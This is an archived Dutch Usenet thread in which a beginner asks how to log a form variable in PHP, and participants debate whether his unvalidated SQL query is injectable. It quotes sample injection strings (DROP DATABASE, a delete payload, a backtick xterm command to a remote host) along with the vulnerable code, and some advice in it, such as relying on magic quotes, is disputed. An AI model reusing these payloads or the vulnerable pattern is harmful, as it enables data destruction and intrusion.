Bekijk Volledige Versie : Variabele in logfile
Erwin J. Loman
07/02/04, 20:25
Hallo,
Ik ben een redelijke newbie op het gebied van PHP en heb een vraag.
Ik heb een formulier gemaakt dat enkele variabelen bevat en middels een
php-script wordt verwerkt in een mysql-database.
In het php-script zit ook een functie die enkele gegevens van de bezoeker
verwerkt in het logfile, zoals datum, tijd, IP-nummer, welk php-script wordt
aangeroepen en wat de bronpagina was.
Ik wil daar ook graag een variabele uit het formulier in opnemen.
Een voorbeeld:
Het script dat wordt uitgevoerd is:
if ($_POST['Submit'])
$datum=$_POST['datum'];
$query=("UPDATE wedstrijd
SET afgelast = 'J'
, opmerkingen = 'Afgelast'
where datum = '$datum'");
mysql_query($query) or die (mysql_error());
Het wegschrijven naar het logfile gaat als volgt:
$logfile = fopen("log_update.txt", "a");
fputs($logfile, date("d-m-Y, H:i:s", time()) . ", " .
$REMOTE_ADDR . ", ".
$PHP_SELF .", ".
$HTTP_REFERER "\n");
fclose($logfile);
Ik wil graag de variabele 'datum' ook naar het logfile wegschrijven.
Ik krijg het echter niet voor elkaar.
Heeft iemand tips, of misschien wel de oplossing?
Alvast bedankt voor de reactie.
Met vriendelijke groeten,
Erwin Loman
Jaap-Andre de Hoop
08/02/04, 11:35
>
>Ik wil graag de variabele 'datum' ook naar het logfile wegschrijven.
>Ik krijg het echter niet voor elkaar.
>
>Heeft iemand tips, of misschien wel de oplossing?
uhm de variabel $datum opnemen in het lijstje wat weggeschreven moet
worden of nog beter $_POST[datum], want die is ook binnen functies te
gebruiken en je hebt er toch niets meegedaan.
Ik zie geen probleem. Misschien even aangegeven wat je geprobeerd hebt.
Jaap-Andre
Arnoud Galactus Engelfriet
08/02/04, 14:05
In article <c03e5t$iio$1@reader08.wxs.nl>,
Erwin J. Loman <erwin.loman@planet.nl> wrote:
>Een voorbeeld:
>Het script dat wordt uitgevoerd is:
>if ($_POST['Submit'])
>$datum=$_POST['datum'];
>$query=("UPDATE wedstrijd
> SET afgelast = 'J'
> , opmerkingen = 'Afgelast'
> where datum = '$datum'");
>mysql_query($query) or die (mysql_error());
Even tussendoor: ik zou altijd eerst even controleren of er wel
een echte datum is opgegeven door de gebruiker. Als ik daar
rare dingen in zet, kan ik nu willekeurige commando's in jouw
database uitvoeren.
>$logfile = fopen("log_update.txt", "a");
>fputs($logfile, date("d-m-Y, H:i:s", time()) . ", " .
>$REMOTE_ADDR . ", ".
>$PHP_SELF .", ".
Als je hier nu
$datum .", ".
toevoegt, wordt die string ook weggeschreven.
>$HTTP_REFERER "\n");
>fclose($logfile);
Wat heb je geprobeerd, en wat voor foutmelding kreeg je? Hoe zag
de logfile er toen uit?
Arnoud
--
Arnoud Engelfriet, Dutch patent attorney - Speaking only for myself
Patents, copyright and IPR explained for techies: http://www.iusmentis.com/
Michiel de Roo
08/02/04, 21:25
Arnoud Galactus Engelfriet wrote:
> In article <c03e5t$iio$1@reader08.wxs.nl>,
> Erwin J. Loman <erwin.loman@planet.nl> wrote:
>
>>Een voorbeeld:
>>Het script dat wordt uitgevoerd is:
>>if ($_POST['Submit'])
>>$datum=$_POST['datum'];
>>$query=("UPDATE wedstrijd
>> SET afgelast = 'J'
>> , opmerkingen = 'Afgelast'
>> where datum = '$datum'");
>>mysql_query($query) or die (mysql_error());
>
>
> Even tussendoor: ik zou altijd eerst even controleren of er wel
> een echte datum is opgegeven door de gebruiker. Als ik daar
> rare dingen in zet, kan ik nu willekeurige commando's in jouw
> database uitvoeren.
Zoals ? Kun je een voorbeeld geven ?
Michiel.
Reinier Post
08/02/04, 23:05
Michiel de Roo schrijft:
>Arnoud Galactus Engelfriet wrote:
>> In article <c03e5t$iio$1@reader08.wxs.nl>,
>> Erwin J. Loman <erwin.loman@planet.nl> wrote:
>>
>>>Een voorbeeld:
>>>Het script dat wordt uitgevoerd is:
>>>if ($_POST['Submit'])
>>>$datum=$_POST['datum'];
>>>$query=("UPDATE wedstrijd
>>> SET afgelast = 'J'
>>> , opmerkingen = 'Afgelast'
>>> where datum = '$datum'");
>>>mysql_query($query) or die (mysql_error());
>>
>>
>> Even tussendoor: ik zou altijd eerst even controleren of er wel
>> een echte datum is opgegeven door de gebruiker. Als ik daar
>> rare dingen in zet, kan ik nu willekeurige commando's in jouw
>> database uitvoeren.
>
>Zoals ? Kun je een voorbeeld geven ?
>
>Michiel.
Probeer eens een datum zoals `xterm -display verweggistan.org:0 &; echo 20040404`.
(Met backquotes dus en een machinenaam zodat de xterm echt werkt.)
--
Reinier
Michiel de Roo
08/02/04, 23:55
Reinier Post wrote:
> Michiel de Roo schrijft:
>
>
>>Arnoud Galactus Engelfriet wrote:
>>
>>>In article <c03e5t$iio$1@reader08.wxs.nl>,
>>>Erwin J. Loman <erwin.loman@planet.nl> wrote:
>>>
>>>
>>>>Een voorbeeld:
>>>>Het script dat wordt uitgevoerd is:
>>>>if ($_POST['Submit'])
>>>>$datum=$_POST['datum'];
>>>>$query=("UPDATE wedstrijd
>>>>SET afgelast = 'J'
>>>>, opmerkingen = 'Afgelast'
>>>>where datum = '$datum'");
>>>>mysql_query($query) or die (mysql_error());
>>>
>>>
>>>Even tussendoor: ik zou altijd eerst even controleren of er wel
>>>een echte datum is opgegeven door de gebruiker. Als ik daar
>>>rare dingen in zet, kan ik nu willekeurige commando's in jouw
>>>database uitvoeren.
>>
>>Zoals ? Kun je een voorbeeld geven ?
>>
>>Michiel.
>
>
> Probeer eens een datum zoals `xterm -display verweggistan.org:0 &; echo 20040404`.
> (Met backquotes dus en een machinenaam zodat de xterm echt werkt.)
>
Ik heb dit geprobeerd:
<?
mysql_connect(............);
mysql_select_db('test');
$datum = '`echo "test" > /tmp/test`';
$query=("UPDATE westrijd
SET afgelast = 'J'
, opmerkingen = 'Afgelast'
where datum = '$datum'");
mysql_query($query) or die (mysql_error());
?>
Maar er gebeurt niks. De file wordt niet eens aangemaakt. Wat was de
bedoeling ervan eigenlijk ?
Reinier Post <rp@win.tue.nl>:
> Michiel de Roo schrijft:
>
>>Arnoud Galactus Engelfriet wrote:
>>> In article <c03e5t$iio$1@reader08.wxs.nl>,
>>> Erwin J. Loman <erwin.loman@planet.nl> wrote:
>>>
>>>>Een voorbeeld:
>>>>Het script dat wordt uitgevoerd is:
>>>>if ($_POST['Submit'])
>>>>$datum=$_POST['datum'];
>>>>$query=("UPDATE wedstrijd
>>>> SET afgelast = 'J'
>>>> , opmerkingen = 'Afgelast'
>>>> where datum = '$datum'");
>>>>mysql_query($query) or die (mysql_error());
>>>
>>>
>>> Even tussendoor: ik zou altijd eerst even controleren of er wel
>>> een echte datum is opgegeven door de gebruiker. Als ik daar
>>> rare dingen in zet, kan ik nu willekeurige commando's in jouw
>>> database uitvoeren.
>>
>>Zoals ? Kun je een voorbeeld geven ?
>>
>>Michiel.
>
> Probeer eens een datum zoals `xterm -display verweggistan.org:0 &; echo
> 20040404`. (Met backquotes dus en een machinenaam zodat de xterm echt
> werkt.)
Het is een PHP-script, geen shellscript; code tussen backticks wordt niet
automagisch geëxpand in PHP.
Met bovenstaande constructie kan je wel SQL-injection doen, bijvoorbeeld
door een query ala (incl quotes):
'; delete * from wedstrijd where datum is not '
Tenminste, als MySQL meerdere queries in één mysql_query()-aanroep
accepteert. Anders zou je met subselects kunnen werken of zo.
--
robert
Michiel de Roo
09/02/04, 10:25
robert wrote:
> Reinier Post <rp@win.tue.nl>:
> > Michiel de Roo schrijft:
> >
> >>Arnoud Galactus Engelfriet wrote:
> >>> In article <c03e5t$iio$1@reader08.wxs.nl>,
> >>> Erwin J. Loman <erwin.loman@planet.nl> wrote:
> >>>
> >>>>Een voorbeeld:
> >>>>Het script dat wordt uitgevoerd is:
> >>>>if ($_POST['Submit'])
> >>>>$datum=$_POST['datum'];
> >>>>$query=("UPDATE wedstrijd
> >>>> SET afgelast = 'J'
> >>>> , opmerkingen = 'Afgelast'
> >>>> where datum = '$datum'");
> >>>>mysql_query($query) or die (mysql_error());
> >>>
> >>>
> >>> Even tussendoor: ik zou altijd eerst even controleren of er wel
> >>> een echte datum is opgegeven door de gebruiker. Als ik daar
> >>> rare dingen in zet, kan ik nu willekeurige commando's in jouw
> >>> database uitvoeren.
> >>
> >>Zoals ? Kun je een voorbeeld geven ?
> >>
> >>Michiel.
> >
> > Probeer eens een datum zoals `xterm -display verweggistan.org:0 &; echo
> > 20040404`. (Met backquotes dus en een machinenaam zodat de xterm echt
> > werkt.)
>
> Het is een PHP-script, geen shellscript; code tussen backticks wordt niet
> automagisch geëxpand in PHP.
>
> Met bovenstaande constructie kan je wel SQL-injection doen, bijvoorbeeld
> door een query ala (incl quotes):
> '; delete * from wedstrijd where datum is not '
Niet als je magic_quotes_gpc aan hebt staan (standaard waarde). De hele
string inclusief quotes wordt dan als $datum waarde beschouwd, wat
hoogstwaarschijnlijk niks oplevert, omdat er niet zo'n datum is.
>
> Tenminste, als MySQL meerdere queries in één mysql_query()-aanroep
> accepteert.
Nee dus. Dit kan wel vanuit een batch script, maar niet vanuit PHP.
Anders zou je met subselects kunnen werken of zo.
Een subselect is geen subdelete. Een subdelete bestaat niet. En al zou het
bestaan dan kon het nog niet, omdat de hele $datum string tussen quotes
staat. http://www.mysql.com/doc/en/Subqueries.html
Michiel de Roo <michiel@mderooPUNTNL>:
> robert wrote:
>>
>> Het is een PHP-script, geen shellscript; code tussen backticks wordt niet
>> automagisch geëxpand in PHP.
>>
>> Met bovenstaande constructie kan je wel SQL-injection doen, bijvoorbeeld
>> door een query ala (incl quotes):
>> '; delete * from wedstrijd where datum is not '
>
> Niet als je magic_quotes_gpc aan hebt staan (standaard waarde). De hele
> string inclusief quotes wordt dan als $datum waarde beschouwd, wat
> hoogstwaarschijnlijk niks oplevert, omdat er niet zo'n datum is.
Oh ja, het is PHP, waar je maar moet hopen dat magic quotes aan staat :)
>> Tenminste, als MySQL meerdere queries in één mysql_query()-aanroep
>> accepteert.
>
> Nee dus.
En toch vertrouw ik meer op prepared statements :)
--
robert
Michiel de Roo
09/02/04, 10:45
robert wrote:
> Michiel de Roo <michiel@mderooPUNTNL>:
> > robert wrote:
> >> Met bovenstaande constructie kan je wel SQL-injection doen, bijvoorbeeld
> >> door een query ala (incl quotes):
> >> '; delete * from wedstrijd where datum is not '
> >
> > Niet als je magic_quotes_gpc aan hebt staan (standaard waarde). De hele
> > string inclusief quotes wordt dan als $datum waarde beschouwd, wat
> > hoogstwaarschijnlijk niks oplevert, omdat er niet zo'n datum is.
>
> Oh ja, het is PHP, waar je maar moet hopen dat magic quotes aan staat :)
Niks hopen. Gewoon aan zetten, eventueel via een .htaccess .
Michiel de Roo <michiel@mderooPUNTNL>:
> robert wrote:
>
>> Oh ja, het is PHP, waar je maar moet hopen dat magic quotes aan staat
>> :)
>
> Niks hopen. Gewoon aan zetten, eventueel via een .htaccess .
Voor zover je rechten daartoe hebt, natuurlijk.
--
robert
Arnoud Galactus Engelfriet
09/02/04, 11:45
In article <40269a3d$0$155$e4fe514c@news.xs4all.nl>,
Michiel de Roo <michiel@mderooPUNTNL> wrote:
>Arnoud Galactus Engelfriet wrote:
>>>$query=("UPDATE wedstrijd
>>> SET afgelast = 'J'
>>> , opmerkingen = 'Afgelast'
>>> where datum = '$datum'");
>>>mysql_query($query) or die (mysql_error());
>>
>>
>> Even tussendoor: ik zou altijd eerst even controleren of er wel
>> een echte datum is opgegeven door de gebruiker. Als ik daar
>> rare dingen in zet, kan ik nu willekeurige commando's in jouw
>> database uitvoeren.
>
>Zoals ? Kun je een voorbeeld geven ?
De truc is dat je in SQL statements een ';' kunt gebruiken om
commando's van elkaar te scheiden. Stel ik vul als datum in
20040209';DROP DATABASE #
dan maakt bovenstaande PHP-statement de volgende query:
UPDATE wedstrijd SET afgelast = 'J', opmerkingen = 'Afgelast'
where datum = '20040209';DROP DATABASE #'
Ofwel: update die tabel en gooi dan de hele database weg.
Vandaar dus eerst de input valideren. Bijvoorbeeld via een
regular expression kijken of het wel alleen getallen zijn, of
iets dergelijks.
Arnoud
--
Arnoud Engelfriet, Dutch patent attorney - Speaking only for myself
Patents, copyright and IPR explained for techies: http://www.iusmentis.com/
Michiel de Roo
09/02/04, 11:55
Arnoud Galactus Engelfriet wrote:
> In article <40269a3d$0$155$e4fe514c@news.xs4all.nl>,
> Michiel de Roo <michiel@mderooPUNTNL> wrote:
>
>>Arnoud Galactus Engelfriet wrote:
>>
>>>>$query=("UPDATE wedstrijd
>>>>SET afgelast = 'J'
>>>>, opmerkingen = 'Afgelast'
>>>>where datum = '$datum'");
>>>>mysql_query($query) or die (mysql_error());
>>>
>>>
>>>Even tussendoor: ik zou altijd eerst even controleren of er wel
>>>een echte datum is opgegeven door de gebruiker. Als ik daar
>>>rare dingen in zet, kan ik nu willekeurige commando's in jouw
>>>database uitvoeren.
>>
>>Zoals ? Kun je een voorbeeld geven ?
>
>
> De truc is dat je in SQL statements een ';' kunt gebruiken om
> commando's van elkaar te scheiden.
Niet met PHP/MySQL dus.
Stel ik vul als datum in
> 20040209';DROP DATABASE #
> dan maakt bovenstaande PHP-statement de volgende query:
> UPDATE wedstrijd SET afgelast = 'J', opmerkingen = 'Afgelast'
> where datum = '20040209';DROP DATABASE #'
> Ofwel: update die tabel en gooi dan de hele database weg.
Nee hoor, er wordt helemaal niets gedropt en ook niets geselecteerd. De
datum "20040209';DROP DATABASE #" bestaat namelijk niet.
>
> Vandaar dus eerst de input valideren. Bijvoorbeeld via een
> regular expression kijken of het wel alleen getallen zijn, of
> iets dergelijks.
Het valt me op dat een boel mensen maar roept dat er van alles mogelijk
is. Als ik het dan probeer gebeurt er niets of krijg ik errors. Heb je dit
zelf geprobeerd ? met PHP/MySQL ? Ik krijg het niet voor elkaar. En alle
soortgelijke truuken ook niet.
Michiel.
Michiel de Roo <michiel@mderooPUNTNL>:
> Arnoud Galactus Engelfriet wrote:
>> Vandaar dus eerst de input valideren. Bijvoorbeeld via een regular
>> expression kijken of het wel alleen getallen zijn, of iets dergelijks.
>
> Het valt me op dat een boel mensen maar roept dat er van alles mogelijk
> is. Als ik het dan probeer gebeurt er niets of krijg ik errors. Heb je
> dit zelf geprobeerd ? met PHP/MySQL ? Ik krijg het niet voor elkaar. En
> alle soortgelijke truuken ook niet.
En nu met magic quotes uit?
--
robert
Michiel de Roo
09/02/04, 11:55
robert wrote:
> Michiel de Roo <michiel@mderooPUNTNL>:
> > robert wrote:
> >
> >> Oh ja, het is PHP, waar je maar moet hopen dat magic quotes aan staat
> >> :)
> >
> > Niks hopen. Gewoon aan zetten, eventueel via een .htaccess .
>
> Voor zover je rechten daartoe hebt, natuurlijk.
>
Elke hosting die magic_quotes_gpc uit heeft staan en geen .htaccess
rechten geeft zou je onmiddelijk moeten opzeggen zonder te betalen. Dit
valt namelijk onder wanprestatie.
Wil je het toch houden, tja dan heb je een probleem en zul je het
softwarematig moeten gaan oplossen, bijvoorbeeld met addslashes(...)
Michiel de Roo
09/02/04, 11:55
robert wrote:
> Michiel de Roo <michiel@mderooPUNTNL>:
> > Arnoud Galactus Engelfriet wrote:
> >> Vandaar dus eerst de input valideren. Bijvoorbeeld via een regular
> >> expression kijken of het wel alleen getallen zijn, of iets dergelijks.
> >
> > Het valt me op dat een boel mensen maar roept dat er van alles mogelijk
> > is. Als ik het dan probeer gebeurt er niets of krijg ik errors. Heb je
> > dit zelf geprobeerd ? met PHP/MySQL ? Ik krijg het niet voor elkaar. En
> > alle soortgelijke truuken ook niet.
>
> En nu met magic quotes uit?
>
Dan krijg ik een error. Want meerdere queries is alleen mogelijk in batch
files. zucht. Je moet gewoon je magic quotes niet uitzetten.
Michiel de Roo <michiel@mderooPUNTNL>:
> robert wrote:
>
>> Michiel de Roo <michiel@mderooPUNTNL>:
>>
>> > Niks hopen. Gewoon aan zetten, eventueel via een .htaccess .
>>
>> Voor zover je rechten daartoe hebt, natuurlijk.
>
> Elke hosting die magic_quotes_gpc uit heeft staan en geen .htaccess
> rechten geeft zou je onmiddelijk moeten opzeggen zonder te betalen. Dit
> valt namelijk onder wanprestatie.
Of onder de 'algemene voorwaarden'. Er kleven risico's aan het toestaan van
userdefined .htaccess-files. En magic-quotes, ach, dat is gewoon een risico
van het gebruiken van PHP.
--
robert
Arnoud Galactus Engelfriet
09/02/04, 12:35
In article <40276501$0$156$e4fe514c@news.xs4all.nl>,
Michiel de Roo <michiel@mderooPUNTNL> wrote:
>Arnoud Galactus Engelfriet wrote:
>> De truc is dat je in SQL statements een ';' kunt gebruiken om
>> commando's van elkaar te scheiden.
>
>Niet met PHP/MySQL dus.
Oh, wist ik niet. Goed dat ze dat dichtgetimmerd hebben dan.
>> Vandaar dus eerst de input valideren. Bijvoorbeeld via een
>> regular expression kijken of het wel alleen getallen zijn, of
>> iets dergelijks.
>
>Het valt me op dat een boel mensen maar roept dat er van alles mogelijk
>is. Als ik het dan probeer gebeurt er niets of krijg ik errors. Heb je dit
>zelf geprobeerd ? met PHP/MySQL ? Ik krijg het niet voor elkaar. En alle
>soortgelijke truuken ook niet.
Ik ken de truc van vroeger, maar ik was niet op de hoogte van 't
feit dat PHP dat tegenwoordig dichttimmert. Ik ben nogal
paranoide opgevoed als het om web-formuliertjes gaat, dus dat
soort dingen blijven dan hangen.
Arnoud
--
Arnoud Engelfriet, Dutch patent attorney - Speaking only for myself
Patents, copyright and IPR explained for techies: http://www.iusmentis.com/
Daniel Tryba
09/02/04, 13:45
Michiel de Roo <michiel@mderoopuntnl> wrote:
>> En nu met magic quotes uit?
>
> Dan krijg ik een error. Want meerdere queries is alleen mogelijk in batch
> files. zucht. Je moet gewoon je magic quotes niet uitzetten.
Netzoals men in 4.2.0 eindelijk tot de conclusie is gekomen om register
globals uit te zetten dient magicquotes ook gewoon uit te staan. Het is
geen bescherming en het veroorzaakt inconsistenties, namelijk alle input
uit iets anders dan GPCE variabelen moeten alsnog handmatig worden
geesacped.
--
Daniel Tryba
Michiel de Roo
09/02/04, 14:25
Daniel Tryba wrote:
> Michiel de Roo <michiel@mderoopuntnl> wrote:
>
>>>En nu met magic quotes uit?
>>
>>Dan krijg ik een error. Want meerdere queries is alleen mogelijk in batch
>>files. zucht. Je moet gewoon je magic quotes niet uitzetten.
>
>
> Netzoals men in 4.2.0 eindelijk tot de conclusie is gekomen om register
> globals uit te zetten dient magicquotes ook gewoon uit te staan. Het is
> geen bescherming
Ik zit anders nog steeds te wachten op die gewraakte SQL inject die werkt.
> en het veroorzaakt inconsistenties, namelijk alle input
> uit iets anders dan GPCE variabelen moeten alsnog handmatig worden
> geesacped.
Je moet altijd alle input checken. Als je dit automatisch kan doen, zoals
bij GPC, hoef je dit niet handmatig te doen. Als je het niet automatisch
kan doen, moet je het uiteraard wel handmatig doen.
Het komt IMHO zeer zelden voor dat user data via een andere weg dan GPC
het systeem binnen komt.
Daniel Tryba
09/02/04, 14:55
Michiel de Roo <michiel@mderoopuntnl> wrote:
>> Netzoals men in 4.2.0 eindelijk tot de conclusie is gekomen om register
>> globals uit te zetten dient magicquotes ook gewoon uit te staan. Het is
>> geen bescherming
>
> Ik zit anders nog steeds te wachten op die gewraakte SQL inject die werkt.
Ik heb het helemaal niet over sql, maar stel je eens voor dat er
databases zijn die iets anders dan \ gebruiken als escape.
>> en het veroorzaakt inconsistenties, namelijk alle input uit iets
>> anders dan GPCE variabelen moeten alsnog handmatig worden geesacped.
>
> Je moet altijd alle input checken. Als je dit automatisch kan doen,
> zoals bij GPC, hoef je dit niet handmatig te doen. Als je het niet
> automatisch kan doen, moet je het uiteraard wel handmatig doen.
De schade wordt niet altijd aagericht door de paar chars die addslases
escaped, dit geldt al helemaal indien er weer iets terug wordt gegeven
aan een browser. Dara kan je hele stukken javascript inhakken zonder
ooit quotes te gebruiken (en als je vbs gebruikt al helemaal).
> Het komt IMHO zeer zelden voor dat user data via een andere weg dan GPC
> het systeem binnen komt.
Huh? Ik lees geregeld uit databases, logfiles en exectuables, die oa
userdata terug geven.
--
Daniel Tryba
Michiel de Roo
09/02/04, 15:25
Daniel Tryba wrote:
> Michiel de Roo <michiel@mderoopuntnl> wrote:
>
>>>Netzoals men in 4.2.0 eindelijk tot de conclusie is gekomen om register
>>>globals uit te zetten dient magicquotes ook gewoon uit te staan. Het is
>>>geen bescherming
>>
>>Ik zit anders nog steeds te wachten op die gewraakte SQL inject die werkt.
>
>
> Ik heb het helemaal niet over sql, maar stel je eens voor dat er
> databases zijn die iets anders dan \ gebruiken als escape.
>
Ah, je hebt het dus over iets heel anders dan PHP/MySQL. Dan is het duidelijk.
>
>>>en het veroorzaakt inconsistenties, namelijk alle input uit iets
>>>anders dan GPCE variabelen moeten alsnog handmatig worden geesacped.
>>
>>Je moet altijd alle input checken. Als je dit automatisch kan doen,
>>zoals bij GPC, hoef je dit niet handmatig te doen. Als je het niet
>>automatisch kan doen, moet je het uiteraard wel handmatig doen.
>
> De schade wordt niet altijd aagericht door de paar chars die addslases
> escaped, dit geldt al helemaal indien er weer iets terug wordt gegeven
> aan een browser. Dara kan je hele stukken javascript inhakken zonder
> ooit quotes te gebruiken (en als je vbs gebruikt al helemaal).
Ah, je hebt het dus over iets heel anders. Dan is het duidelijk.
>
>
>>Het komt IMHO zeer zelden voor dat user data via een andere weg dan GPC
>>het systeem binnen komt.
>
>
> Huh? Ik lees geregeld uit databases, logfiles en exectuables, die oa
> userdata terug geven.
>
En hoe komt die data daar ? Geef jij je bezoekers ftp toegang, of ssh,
telnet, staat je database open voor iedereen ? Mogen bezoekers executables
aanpassen ?
Als iemand bij mijn sites iets kan aanpassen, dan is dat via http. En dus
via GPC.
Erwin J. Loman
09/02/04, 15:35
Iedereen bedankt voor het meedenken.
Vooral de eerste paar antwoorden gaven aan dat het gewoon mogelijk moet zijn
om $datum toe te voegen (al dan niet gevolgd door .",".).
Omdat ik dat al geprobeerd had ben ik toch nog maar eens het script stap
voor stap doorgegaan (ja, ik weet het, dat is natuurlijk het eerste dat je
moet doen) en ben tot de conclusie gekomen dat een accolade de oorzaak is
van het feit dat het dat datum niet werd opgenomen in het logbestand. De
accolade stond namelijk tussen het eerste gedeelte van het script, dat de
update uitvoert, en het tweede deel, dat een regel in het logfile aanmaakt.
Overigens heb ik het logfile toegevoegd omdat er een drietal gebruikers
rechten hebben op de tabel en ik graag achteraf wil kunnen zien wie wat
heeft verwerkt. Op die manier is achteraf te zien wie wat heeft ingevoerd en
wanneer dat is geweest.
Het gaat hier namelijk om het verwerken van afgelastingen van een
voetbalvereniging. Het is immers erg vervelend als alle wedstrijden volgens
de website zijn afgelast terwijl dit in werkelijkheid bijvoorbeeld niet het
geval is en er achteraf niet te achterhalen is wie dit heeft ingevoerd.
Nogmaals: Excuses voor het ongemak en bedankt voor het meedenken.
Met vriendelijke groeten,
Erwin Loman
"Erwin J. Loman" <erwin.loman@planet.nl> schreef in bericht
news:c03e5t$iio$1@reader08.wxs.nl...
> Hallo,
>
> Ik ben een redelijke newbie op het gebied van PHP en heb een vraag.
> Ik heb een formulier gemaakt dat enkele variabelen bevat en middels een
> php-script wordt verwerkt in een mysql-database.
> In het php-script zit ook een functie die enkele gegevens van de bezoeker
> verwerkt in het logfile, zoals datum, tijd, IP-nummer, welk php-script
wordt
> aangeroepen en wat de bronpagina was.
> Ik wil daar ook graag een variabele uit het formulier in opnemen.
>
> Een voorbeeld:
> Het script dat wordt uitgevoerd is:
> if ($_POST['Submit'])
> $datum=$_POST['datum'];
> $query=("UPDATE wedstrijd
> SET afgelast = 'J'
> , opmerkingen = 'Afgelast'
> where datum = '$datum'");
> mysql_query($query) or die (mysql_error());
>
> Het wegschrijven naar het logfile gaat als volgt:
>
> $logfile = fopen("log_update.txt", "a");
> fputs($logfile, date("d-m-Y, H:i:s", time()) . ", " .
> $REMOTE_ADDR . ", ".
> $PHP_SELF .", ".
> $HTTP_REFERER "\n");
> fclose($logfile);
>
> Ik wil graag de variabele 'datum' ook naar het logfile wegschrijven.
> Ik krijg het echter niet voor elkaar.
>
> Heeft iemand tips, of misschien wel de oplossing?
>
> Alvast bedankt voor de reactie.
>
> Met vriendelijke groeten,
>
> Erwin Loman
>
>
robert wrote:
> Of onder de 'algemene voorwaarden'. Er kleven risico's aan het
> toestaan van userdefined .htaccess-files.
Welke risico's zijn dat en en waar moet ik op letten als ik die risico's wil
verkleinen?
--
Inca
Inca <shadow*movements@wanadoo.NOSPAM.invalid>:
> robert wrote:
>> Of onder de 'algemene voorwaarden'. Er kleven risico's aan het toestaan
>> van userdefined .htaccess-files.
>
> Welke risico's zijn dat...
Bij een te losse configuratie van je webserver (ik ga even uit van
Apache) kunnen gebruikers op die manier bijvoorbeeld hun eigen CGI
scripts installeren en uitvoeren (met risico's als resourcehogging of
beveiligingsgaten) of links leggen naar bestanden van andere gebruikers en
die via een webbrowser bekijken.
> ...en en waar moet ik op letten als ik die risico's wil verkleinen?
Vooral de Apache documentatie doorlezen om te zien wat je allemaal niet
wilt toelaten.
--
robert
robert wrote:
> Bij een te losse configuratie van je webserver (ik ga even uit van
> Apache) kunnen gebruikers op die manier bijvoorbeeld hun eigen CGI
> scripts installeren en uitvoeren (met risico's als resourcehogging of
> beveiligingsgaten) of links leggen naar bestanden van andere
> gebruikers en die via een webbrowser bekijken.
Maar dat is toch meer een probleem van een slecht geinstalleerde webserver
dan van .htaccess?
--
Inca
Inca <shadow*movements@wanadoo.NOSPAM.invalid>:
> robert wrote:
>
>> Bij een te losse configuratie van je webserver (ik ga even uit van
>> Apache) kunnen gebruikers op die manier bijvoorbeeld hun eigen CGI
>> scripts installeren en uitvoeren (met risico's als resourcehogging of
>> beveiligingsgaten) of links leggen naar bestanden van andere gebruikers
>> en die via een webbrowser bekijken.
>
> Maar dat is toch meer een probleem van een slecht geinstalleerde
> webserver dan van .htaccess?
Het is meer het probleem van een slecht geconfigureerde webserver, ja. Maar
dat wordt vaak een groter probleem als je gebruikers zelf ook een handje
krijgen in het nóg fouter configureren doordat ze zelf in .htaccess
bestanden een aantal zaken kunnen overriden.
--
robert
Jaap-Andre de Hoop
10/02/04, 09:45
In article <slrnc2h525.g6l.robert@home.allyourbass.org>, {n.i.w.s}@allyourbass.org.invalid (robert) wrote:
>
>Het is meer het probleem van een slecht geconfigureerde webserver, ja. Maar
>dat wordt vaak een groter probleem als je gebruikers zelf ook een handje
>krijgen in het nóg fouter configureren doordat ze zelf in .htaccess
>bestanden een aantal zaken kunnen overriden.
>
maar om dan maar helemaal .htaccess niet toe te staan....
Ik ben heel blij dat ik het kan gebruiken om toegang tot mijn pagina's te
beperken of mag ik daar niet op rekenen, omdat mijn hostingprovider misschien
wel eens die mogelijkheid uit gaat zetten en dan mijn pagina's wereldwijd
leesbaar zijn, zonder dat ik het weet?
Jaap-Andre
Jaap-Andre de Hoop <doemaarietsanders@data-assist.nl>:
> In article <slrnc2h525.g6l.robert@home.allyourbass.org>,
> {n.i.w.s}@allyourbass.org.invalid (robert) wrote:
>
>>Het is meer het probleem van een slecht geconfigureerde webserver,
>>ja. Maar dat wordt vaak een groter probleem als je gebruikers zelf ook
>>een handje krijgen in het nóg fouter configureren doordat ze zelf in
>>.htaccess bestanden een aantal zaken kunnen overriden.
>
> maar om dan maar helemaal .htaccess niet toe te staan....
Ik zeg dat je je als beheerder moet realiseren waar je op moet letten als
je user-defined .htaccess files toestaat, niet dat je het maar helemaal uit
moet zetten.
--
robert
robert wrote:
> Het is meer het probleem van een slecht geconfigureerde webserver,
> ja. Maar dat wordt vaak een groter probleem als je gebruikers zelf
> ook een handje krijgen in het nóg fouter configureren doordat ze zelf
> in .htaccess bestanden een aantal zaken kunnen overriden.
In dat geval ben ik het wel met Michiel eens. Een prof-hosting die .htaccess
uitzet omdat ze de webserver niet goed in kunnen stellen, dat is duidelijk
wanprestatie.
--
Inca
Inca <shadow*movements@wanadoo.NOSPAM.invalid>:
> robert wrote:
>> Het is meer het probleem van een slecht geconfigureerde webserver,
>> ja. Maar dat wordt vaak een groter probleem als je gebruikers zelf ook
>> een handje krijgen in het nóg fouter configureren doordat ze zelf in
>> .htaccess bestanden een aantal zaken kunnen overriden.
>
> In dat geval ben ik het wel met Michiel eens. Een prof-hosting die
> .htaccess uitzet omdat ze de webserver niet goed in kunnen stellen, dat
> is duidelijk wanprestatie.
wan·pres·ta·tie (de ~ (v.))
1: het niet behoorlijk of niet tijdig nakomen van een aanvaarde
verplichting
Zolang je hostingprovider nergens zichzelf verplicht om userdefined
..htaccess files mogelijk te maken heeft het niks te maken met wanprestatie.
--
robert
Daniel Tryba
10/02/04, 13:05
Michiel de Roo <michiel@mderoopuntnl> wrote:
>> Ik heb het helemaal niet over sql, maar stel je eens voor dat er
>> databases zijn die iets anders dan \ gebruiken als escape.
>>
>
> Ah, je hebt het dus over iets heel anders dan PHP/MySQL. Dan is het duidelijk.
Dus magicquotes zijn alleen bedoelt voor mysql?
>>>Je moet altijd alle input checken. Als je dit automatisch kan doen,
>>>zoals bij GPC, hoef je dit niet handmatig te doen. Als je het niet
>>>automatisch kan doen, moet je het uiteraard wel handmatig doen.
>>
>> De schade wordt niet altijd aagericht door de paar chars die addslases
>> escaped, dit geldt al helemaal indien er weer iets terug wordt gegeven
>> aan een browser. Dara kan je hele stukken javascript inhakken zonder
>> ooit quotes te gebruiken (en als je vbs gebruikt al helemaal).
>
> Ah, je hebt het dus over iets heel anders. Dan is het duidelijk.
Iets anders als in 'magicquotes geeft geen automatische bescherming'.
>> Huh? Ik lees geregeld uit databases, logfiles en exectuables, die oa
>> userdata terug geven.
>>
>
> En hoe komt die data daar ? Geef jij je bezoekers ftp toegang, of ssh,
> telnet, staat je database open voor iedereen ? Mogen bezoekers executables
> aanpassen ?
resp. nee, nee, nee, nee en nee.
